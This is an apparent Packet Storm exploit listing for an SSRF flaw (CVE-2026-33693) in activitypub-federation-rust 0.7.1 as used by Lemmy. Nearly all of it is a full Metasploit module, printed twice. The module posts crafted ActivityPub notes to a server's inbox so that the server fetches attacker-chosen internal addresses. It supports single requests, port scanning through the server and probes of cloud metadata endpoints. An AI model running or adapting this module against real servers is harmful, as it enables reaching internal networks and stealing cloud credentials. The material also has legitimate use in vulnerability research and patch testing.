6.5
/ 10
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Description
This is a server-side request forgery scanner for Activitypub-federation-rust version 0.7.1...
Basic Information
ID
PACKETSTORM:219062
Published
Apr 17, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : Activitypub-federation-rust 0.7.1 Lemmy ActivityPub SSRF Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/LemmyNet/activitypub-federation-rust/releases |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a Server-Side Request Forgery (SSRF) vulnerability in Lemmy / ActivityPub implementations using the activitypub-federation-rust 0.7.1 library.
The issue allows crafted ActivityPub messages to trigger server-side requests to internal or restricted network resources.
[+] POC :
require 'json'
require 'time'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Lemmy ActivityPub SSRF (CVE-2026-33693)',
'Description' => %q{
Exploits SSRF via ActivityPub using 0.0.0.0 bypass.
Designed for CTF and controlled environments.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-33693']
],
'DisclosureDate' => '2026-03-23',
'License' => MSF_LICENSE
)
)
register_options([
OptString.new('TARGET_URI', [true, 'Base path', '/']),
OptString.new('INTERNAL_HOST', [true, 'Internal host', '0.0.0.0']),
OptString.new('INTERNAL_PORT', [false, 'Internal port']),
OptString.new('INTERNAL_PATH', [false, 'Internal path']),
OptEnum.new('ATTACK_TYPE', [true, 'Attack type',
'SINGLE', ['SINGLE','PORT_SCAN','METADATA']]),
OptString.new('PORTS', [false, 'Ports list', '80,443,8080']),
OptInt.new('SCAN_DELAY', [false, 'Delay', 1]),
OptBool.new('VERBOSE', [false, 'Verbose', false])
])
end
def run
print_status("Starting SSRF module")
case datastore['ATTACK_TYPE']
when 'SINGLE'
single_ssrf_attack
when 'PORT_SCAN'
port_scan_attack
when 'METADATA'
metadata_attack
end
end
def target_url
proto = datastore['SSL'] ? 'https' : 'http'
host = datastore['RHOSTS']
"#{proto}://#{host}:#{datastore['RPORT']}"
end
def create_payload(url)
{
'@context' => 'https://www.w3.org/ns/activitystreams',
'type' => 'Create',
'id' => "#{target_url}/test-#{rand(9999)}",
'actor' => 'https://attacker.com/actor',
'to' => ['https://www.w3.org/ns/activitystreams#Public'],
'object' => {
'type' => 'Note',
'attachment' => [
{
'type' => 'Link',
'href' => "http://#{url}"
}
]
}
}
end
def send_ssrf(url)
begin
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGET_URI'], 'inbox'),
'ctype' => 'application/activity+json',
'data' => create_payload(url).to_json
)
return res
rescue => e
vprint_error("Error: #{e}")
return nil
end
end
def single_ssrf_attack
host = datastore['INTERNAL_HOST']
port = datastore['INTERNAL_PORT']
path = datastore['INTERNAL_PATH']
url = host
url += ":#{port}" if port
url += "/#{path}" if path
print_status("Targeting #{url}")
res = send_ssrf(url)
if res
print_good("Response: #{res.code}")
print_line(res.body[0..200]) if res.body
else
print_error("No response")
end
end
def port_scan_attack
ports = datastore['PORTS'].split(',').map(&:to_i)
host = datastore['INTERNAL_HOST']
open_ports = []
ports.each do |p|
url = "#{host}:#{p}"
start = Time.now
res = send_ssrf(url)
elapsed = Time.now - start
if res && res.code != 404 && elapsed > 0.2
print_good("Port #{p} OPEN (#{res.code})")
open_ports << p
else
vprint_status("Port #{p} closed")
end
sleep datastore['SCAN_DELAY']
end
print_good("Open ports: #{open_ports.join(', ')}") unless open_ports.empty?
end
def metadata_attack
targets = [
"0.0.0.0/latest/meta-data/",
"0.0.0.0/computeMetadata/v1/",
"0.0.0.0/169.254.169.254/latest/"
]
targets.each do |t|
print_status("Trying #{t}")
res = send_ssrf(t)
if res && res.code == 200 && res.body
print_good("Metadata FOUND")
print_line(res.body[0..200])
else
vprint_status("No data")
end
sleep 1
end
end
def vprint_status(msg)
print_status(msg) if datastore['VERBOSE']
end
def vprint_error(msg)
print_error(msg) if datastore['VERBOSE']
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : Activitypub-federation-rust 0.7.1 Lemmy ActivityPub SSRF Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/LemmyNet/activitypub-federation-rust/releases |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a Server-Side Request Forgery (SSRF) vulnerability in Lemmy / ActivityPub implementations using the activitypub-federation-rust 0.7.1 library.
The issue allows crafted ActivityPub messages to trigger server-side requests to internal or restricted network resources.
[+] POC :
require 'json'
require 'time'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Lemmy ActivityPub SSRF (CVE-2026-33693)',
'Description' => %q{
Exploits SSRF via ActivityPub using 0.0.0.0 bypass.
Designed for CTF and controlled environments.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-33693']
],
'DisclosureDate' => '2026-03-23',
'License' => MSF_LICENSE
)
)
register_options([
OptString.new('TARGET_URI', [true, 'Base path', '/']),
OptString.new('INTERNAL_HOST', [true, 'Internal host', '0.0.0.0']),
OptString.new('INTERNAL_PORT', [false, 'Internal port']),
OptString.new('INTERNAL_PATH', [false, 'Internal path']),
OptEnum.new('ATTACK_TYPE', [true, 'Attack type',
'SINGLE', ['SINGLE','PORT_SCAN','METADATA']]),
OptString.new('PORTS', [false, 'Ports list', '80,443,8080']),
OptInt.new('SCAN_DELAY', [false, 'Delay', 1]),
OptBool.new('VERBOSE', [false, 'Verbose', false])
])
end
def run
print_status("Starting SSRF module")
case datastore['ATTACK_TYPE']
when 'SINGLE'
single_ssrf_attack
when 'PORT_SCAN'
port_scan_attack
when 'METADATA'
metadata_attack
end
end
def target_url
proto = datastore['SSL'] ? 'https' : 'http'
host = datastore['RHOSTS']
"#{proto}://#{host}:#{datastore['RPORT']}"
end
def create_payload(url)
{
'@context' => 'https://www.w3.org/ns/activitystreams',
'type' => 'Create',
'id' => "#{target_url}/test-#{rand(9999)}",
'actor' => 'https://attacker.com/actor',
'to' => ['https://www.w3.org/ns/activitystreams#Public'],
'object' => {
'type' => 'Note',
'attachment' => [
{
'type' => 'Link',
'href' => "http://#{url}"
}
]
}
}
end
def send_ssrf(url)
begin
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGET_URI'], 'inbox'),
'ctype' => 'application/activity+json',
'data' => create_payload(url).to_json
)
return res
rescue => e
vprint_error("Error: #{e}")
return nil
end
end
def single_ssrf_attack
host = datastore['INTERNAL_HOST']
port = datastore['INTERNAL_PORT']
path = datastore['INTERNAL_PATH']
url = host
url += ":#{port}" if port
url += "/#{path}" if path
print_status("Targeting #{url}")
res = send_ssrf(url)
if res
print_good("Response: #{res.code}")
print_line(res.body[0..200]) if res.body
else
print_error("No response")
end
end
def port_scan_attack
ports = datastore['PORTS'].split(',').map(&:to_i)
host = datastore['INTERNAL_HOST']
open_ports = []
ports.each do |p|
url = "#{host}:#{p}"
start = Time.now
res = send_ssrf(url)
elapsed = Time.now - start
if res && res.code != 404 && elapsed > 0.2
print_good("Port #{p} OPEN (#{res.code})")
open_ports << p
else
vprint_status("Port #{p} closed")
end
sleep datastore['SCAN_DELAY']
end
print_good("Open ports: #{open_ports.join(', ')}") unless open_ports.empty?
end
def metadata_attack
targets = [
"0.0.0.0/latest/meta-data/",
"0.0.0.0/computeMetadata/v1/",
"0.0.0.0/169.254.169.254/latest/"
]
targets.each do |t|
print_status("Trying #{t}")
res = send_ssrf(t)
if res && res.code == 200 && res.body
print_good("Metadata FOUND")
print_line(res.body[0..200])
else
vprint_status("No data")
end
sleep 1
end
end
def vprint_status(msg)
print_status(msg) if datastore['VERBOSE']
end
def vprint_error(msg)
print_error(msg) if datastore['VERBOSE']
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================